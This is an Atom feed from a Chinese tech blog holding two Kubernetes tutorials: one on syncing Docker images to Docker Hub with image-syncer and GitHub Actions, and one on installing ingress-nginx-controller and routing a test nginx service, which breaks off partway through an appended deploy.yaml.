<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>茶水栈</title>
  
  
  <link href="https://32e.co/atom.xml" rel="self"/>
  
  <link href="https://32e.co/"/>
  <updated>2022-06-06T09:40:22.437Z</updated>
  <id>https://32e.co/</id>
  
  <author>
    <name>沙果栗子</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>k8s-使用image-syncer配合github actions完成docker镜像同步</title>
    <link href="https://32e.co/2021/05/04/k8s-sync-docker-image-tool/"/>
    <id>https://32e.co/2021/05/04/k8s-sync-docker-image-tool/</id>
    <published>2021-05-04T14:11:06.000Z</published>
    <updated>2022-06-06T09:40:22.437Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;首先，你得知道 <code>Github Action</code> 和 <code>image-syncer</code> 它们是什么？能干什么？</p><ul><li><p>Github Action<br>Github Action是 Github 推出的持续集成工具，可以帮助我们完成一些自动化工作</p></li><li><p>image-syncer<br>image-syncer 是 aliyun 推出的一个docker镜像同步工具，可以将一个仓库的镜像同步到另一个仓库当中，文档：<a href="https://github.com/AliyunContainerService/image-syncer/blob/master/README-zh_CN.md">README-zh_CN.md</a></p></li></ul><p>&nbsp;&nbsp;&nbsp;&nbsp;本文为什么需要它们？在上一篇搭建k8s ingress的文章中(<a href="https://32e.co/2021/05/03/k8s-install-ingress-nginx-controller/">k8s-安装ingress-nginx-controller以及ingress的应用案例</a>)，我们遇到了ingress镜像无法pull的问题，除非翻墙，否则无法拉取，所以我们需要将镜像由“k8s.gcr.io”同步到”registry.hub.docker.com”仓库中，以使得我们能够在本地环境成功pull到镜像。</p><h4 id="详细配置步骤"><a href="#详细配置步骤" class="headerlink" title="详细配置步骤"></a>详细配置步骤</h4><p>1，第一步，创建一个git仓库，如：docker-image-sync，然后配置action secrets管理docker仓库访问的密码，后续会用到（仓库可能是公开的，且密码类都属于敏感信息，所以添加一个action secrets来管理，避免密码泄露）。</p><p>路径：settings &gt;&gt; secrets &gt;&gt; actions &gt;&gt; New repository secret</p><p>如图：<br><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/k8s/github-actions-secrets-path.png" alt="添加action secrets"></p><p>2，第二步，在仓库中新建一个文件：config.json，配置授权以及需要同步的镜像信息，有一点需要注意，密码使用一个变量来代替，后续在actions配置中进行替换，避免泄露，如：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="attr">&quot;auth&quot;</span>: &#123;</span><br><span class="line">        <span class="attr">&quot;registry.hub.docker.com&quot;</span>: &#123;</span><br><span class="line">            <span class="attr">&quot;username&quot;</span>: <span class="string">&quot;guolin123&quot;</span>,</span><br><span class="line">            <span class="attr">&quot;password&quot;</span>: <span class="string">&quot;DOCKERHUB_PASSWORD&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">&quot;images&quot;</span>: &#123;</span><br><span class="line">        <span class="attr">&quot;k8s.gcr.io/ingress-nginx/controller&quot;</span>: <span class="string">&quot;guolin123/ingress-nginx-controller&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>3，第三步，创建actions任务，路径：actions &gt;&gt; set up workflow youself，并完成工作流的具体步骤配置：</p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/k8s/setup-actions-workflow.png"></p><ul><li>a，指定工作流执行的触发条件，这里设置为 “main分支发生push” 以及 “每日UTC时间01:00” 定时执行<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="attr">branches:</span> [ <span class="string">main</span> ]</span><br><span class="line">  <span class="attr">schedule:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">cron:</span> <span class="string">&#x27;0 01 * * *&#x27;</span></span><br></pre></td></tr></table></figure></li><li>b，steps步骤配置，首先checkout代码，将config.json配置文件克隆到虚拟机本地<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span></span><br><span class="line">  <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br></pre></td></tr></table></figure></li><li>c，steps步骤配置，镜像同步配置处理，使用<code>$&#123;&#123;secrets.secret名称&#125;&#125;</code>获取<code>secret值</code>，并采用sed命令完成数据替换<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">镜像同步配置处理</span></span><br><span class="line">  <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line">    <span class="string">sed</span> <span class="string">-i</span> <span class="string">&#x27;s/DOCKERHUB_PASSWORD/$<span class="template-variable">&#123;&#123; secrets.DOCKERHUB_PASSWORD &#125;&#125;</span>/g&#x27;</span> <span class="string">config.json</span></span><br></pre></td></tr></table></figure></li><li>d，steps步骤配置，下载image-sync工具包、解压，并指定config.json执行<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">下载image-sync工具包</span></span><br><span class="line">  <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line">    <span class="string">wget</span> <span class="string">https://github.com/AliyunContainerService/image-syncer/releases/download/v1.3.1/image-syncer-v1.3.1-linux-amd64.tar.gz</span></span><br><span class="line">    <span class="string">tar</span> <span class="string">-zxf</span> <span class="string">image-syncer-v1.3.1-linux-amd64.tar.gz</span></span><br><span class="line">  </span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">执行同步镜像</span></span><br><span class="line">  <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line">    <span class="string">./image-syncer</span> <span class="string">--proc=2</span> <span class="string">--config=config.json</span> <span class="string">--retries=2</span></span><br></pre></td></tr></table></figure></li></ul><p>完整的main.yml配置，如下：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">docker-image-sync</span></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="attr">branches:</span> [ <span class="string">main</span> ]</span><br><span class="line">  <span class="attr">schedule:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">cron:</span> <span class="string">&#x27;0 01 * * *&#x27;</span></span><br><span class="line">  </span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">image-sync:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span></span><br><span class="line">      <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br><span class="line">      </span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">镜像同步配置处理</span></span><br><span class="line">      <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line">        <span class="string">sed</span> <span class="string">-i</span> <span class="string">&#x27;s/DOCKERHUB_PASSWORD/$<span class="template-variable">&#123;&#123; secrets.DOCKERHUB_PASSWORD &#125;&#125;</span>/g&#x27;</span> <span class="string">config.json</span></span><br><span class="line">        </span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">下载image-sync工具包</span></span><br><span class="line">      <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line">        <span class="string">wget</span> <span class="string">https://github.com/AliyunContainerService/image-syncer/releases/download/v1.3.1/image-syncer-v1.3.1-linux-amd64.tar.gz</span></span><br><span class="line">        <span class="string">tar</span> <span class="string">-zxf</span> <span class="string">image-syncer-v1.3.1-linux-amd64.tar.gz</span></span><br><span class="line">      </span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">执行同步镜像</span></span><br><span class="line">      <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line">        <span class="string">./image-syncer</span> <span class="string">--proc=2</span> <span class="string">--config=config.json</span> <span class="string">--retries=2</span></span><br></pre></td></tr></table></figure><p>4，最后，触发执行即可，流水线执行完成后，可以到docker hub中看看镜像的同步情况。</p><p>如图：<br><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/k8s/actions-workflow-run-ok.png" alt="流水线运行情况"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;首先，你得知道 &lt;code&gt;Github Action&lt;/code&gt; 和 &lt;code&gt;ima</summary>
      
    
    
    
    <category term="docker" scheme="https://32e.co/categories/docker/"/>
    
    <category term="kubernetes" scheme="https://32e.co/categories/kubernetes/"/>
    
    
    <category term="k8s" scheme="https://32e.co/tags/k8s/"/>
    
    <category term="docker" scheme="https://32e.co/tags/docker/"/>
    
    <category term="image-sync" scheme="https://32e.co/tags/image-sync/"/>
    
  </entry>
  
  <entry>
    <title>k8s-安装ingress-nginx-controller以及ingress的应用案例</title>
    <link href="https://32e.co/2021/05/03/k8s-install-ingress-nginx-controller/"/>
    <id>https://32e.co/2021/05/03/k8s-install-ingress-nginx-controller/</id>
    <published>2021-05-03T03:25:01.000Z</published>
    <updated>2022-06-01T19:20:23.926Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;Ingress 是从 Kubernetes 集群外部访问集群内部服务的入口，你可以给 Ingress 配置提供外部可访问的 URL、负载均衡、SSL、基于名称的虚拟主机等，从而实现对集群服务的访问。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;本文使用的是ingress1.2.0版本，官方提供的版本<a href="https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.2.0/deploy/static/provider/aws/deploy.yaml">deploy.yaml</a>文件，ingress-nginx-controller镜像无法拉取，所以建议deploy.yaml下载到本地，修改里面的镜像地址后执行，改好的yaml已经放到文章末尾。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;将deploy.yaml的ingress镜像替换为：<a href="https://hub.docker.com/r/guolin123/ingress-nginx-controller/tags">guolin123/ingress-nginx-controller:v1.2.0</a>，本镜像是我直接从k8s.gcr.io/ingress-nginx/controller:v1.2.0同步到docker hub的，可以放心使用。</p><h4 id="安装ingress-nginx-controller"><a href="#安装ingress-nginx-controller" class="headerlink" title="安装ingress-nginx-controller"></a>安装ingress-nginx-controller</h4><p>1，执行修改好deploy-1.2.0.yaml编排文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">kubectl config use-context docker-desktop</span><br><span class="line"></span><br><span class="line">kubectl apply -f ./deploy-1.2.0.yaml</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">namespace&#x2F;ingress-nginx created</span><br><span class="line">serviceaccount&#x2F;ingress-nginx created</span><br><span class="line">serviceaccount&#x2F;ingress-nginx-admission created</span><br><span class="line">role.rbac.authorization.k8s.io&#x2F;ingress-nginx created</span><br><span class="line">role.rbac.authorization.k8s.io&#x2F;ingress-nginx-admission created</span><br><span class="line">clusterrole.rbac.authorization.k8s.io&#x2F;ingress-nginx created</span><br><span class="line">clusterrole.rbac.authorization.k8s.io&#x2F;ingress-nginx-admission created</span><br><span class="line">rolebinding.rbac.authorization.k8s.io&#x2F;ingress-nginx created</span><br><span class="line">rolebinding.rbac.authorization.k8s.io&#x2F;ingress-nginx-admission created</span><br><span class="line">clusterrolebinding.rbac.authorization.k8s.io&#x2F;ingress-nginx created</span><br><span class="line">clusterrolebinding.rbac.authorization.k8s.io&#x2F;ingress-nginx-admission created</span><br><span class="line">configmap&#x2F;ingress-nginx-controller created</span><br><span class="line">service&#x2F;ingress-nginx-controller created</span><br><span class="line">service&#x2F;ingress-nginx-controller-admission created</span><br><span class="line">deployment.apps&#x2F;ingress-nginx-controller created</span><br><span class="line">job.batch&#x2F;ingress-nginx-admission-create created</span><br><span class="line">job.batch&#x2F;ingress-nginx-admission-patch created</span><br><span class="line">ingressclass.networking.k8s.io&#x2F;nginx created</span><br><span class="line">validatingwebhookconfiguration.admissionregistration.k8s.io&#x2F;ingress-nginx-admission created</span><br></pre></td></tr></table></figure><p>2，检查ingress-nginx安装情况</p><ul><li>查看服务和对外暴露的端口信息<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get svc -n ingress-nginx</span><br></pre></td></tr></table></figure>输出：<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">NAME                                 TYPE           CLUSTER-IP       EXTERNAL-IP   PORT(S)                      AGE</span><br><span class="line">ingress-nginx-controller             LoadBalancer   10.96.128.85     localhost     80:32649&#x2F;TCP,443:31520&#x2F;TCP   103s</span><br><span class="line">ingress-nginx-controller-admission   ClusterIP      10.111.202.103   &lt;none&gt;        443&#x2F;TCP                      103s</span><br></pre></td></tr></table></figure></li><li>查看ingress-nginx空间下的pod运行情况：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get pods -n ingress-nginx</span><br></pre></td></tr></table></figure>输出：<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ingress-nginx-admission-create--1-cvw7w    0&#x2F;1     Completed   0          4m20s</span><br><span class="line">ingress-nginx-admission-patch--1-hm8ks     0&#x2F;1     Completed   1          4m20s</span><br><span class="line">ingress-nginx-controller-59cb6ddfd-n4r6v   1&#x2F;1     Running     0          4m20s</span><br><span class="line"></span><br></pre></td></tr></table></figure></li></ul><h4 id="ingress的应用案例"><a href="#ingress的应用案例" class="headerlink" title="ingress的应用案例"></a>ingress的应用案例</h4><p>1，创建一个名为<code>ns-test</code>的空间，用于测试ingress</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Namespace</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ns-test</span></span><br></pre></td></tr></table></figure><p>2，创建一个deployment，运行nginx服务，添加标签：app=nginx</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ns-test</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:1.14.2</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p>3，创建一个service，端口为<code>80</code>，并配置selector为<code>app=nginx</code>，用于指向nginx pod</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ns-test</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">targetPort:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br></pre></td></tr></table></figure><p>4，创建一个ingress，设置service为<code>name=nginx，port=80</code>，用于指向nginx service，并配置域名<code>test.nginx.cn</code></p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Ingress</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ns-test</span></span><br><span class="line">  <span class="attr">annotations:</span> </span><br><span class="line">    <span class="attr">kubernetes.io/ingress.class:</span> <span class="string">&quot;nginx&quot;</span>    <span class="comment"># 指定 Ingress Controller 的类型</span></span><br><span class="line">    <span class="attr">nginx.ingress.kubernetes.io/use-regex:</span> <span class="string">&quot;true&quot;</span>    <span class="comment"># 指定我们的 rules 的 path 可以使用正则表达式</span></span><br><span class="line">    <span class="attr">nginx.ingress.kubernetes.io/proxy-connect-timeout:</span> <span class="string">&quot;600&quot;</span>    <span class="comment"># 连接超时时间，默认为 5s</span></span><br><span class="line">    <span class="attr">nginx.ingress.kubernetes.io/proxy-send-timeout:</span> <span class="string">&quot;600&quot;</span>      <span class="comment"># 后端服务器响应超时时间，默认为 60s</span></span><br><span class="line">    <span class="attr">nginx.ingress.kubernetes.io/proxy-body-size:</span> <span class="string">&quot;10m&quot;</span>         <span class="comment"># 客户端上传文件，最大大小，默认为 20m</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">rules:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">host:</span> <span class="string">test.nginx.cn</span></span><br><span class="line">      <span class="attr">http:</span></span><br><span class="line">        <span class="attr">paths:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">path:</span> <span class="string">/</span></span><br><span class="line">            <span class="attr">pathType:</span> <span class="string">Prefix</span></span><br><span class="line">            <span class="attr">backend:</span></span><br><span class="line">              <span class="attr">service:</span></span><br><span class="line">                <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">                <span class="attr">port:</span></span><br><span class="line">                  <span class="attr">number:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p>5，本地host修改，设置域名<code>test.nginx.cn</code>指向<code>127.0.0.1</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 test.nginx.cn</span><br></pre></td></tr></table></figure><p>6，在浏览器上进行访问验证，<a href="http://test.nginx.cn/">http://test.nginx.cn</a><br><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/k8s/ingress-01.png" alt="浏览器访问图例"></p><h4 id="附：deploy-1-2-0-yaml"><a href="#附：deploy-1-2-0-yaml" class="headerlink" title="附：deploy-1.2.0.yaml"></a>附：deploy-1.2.0.yaml</h4><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span 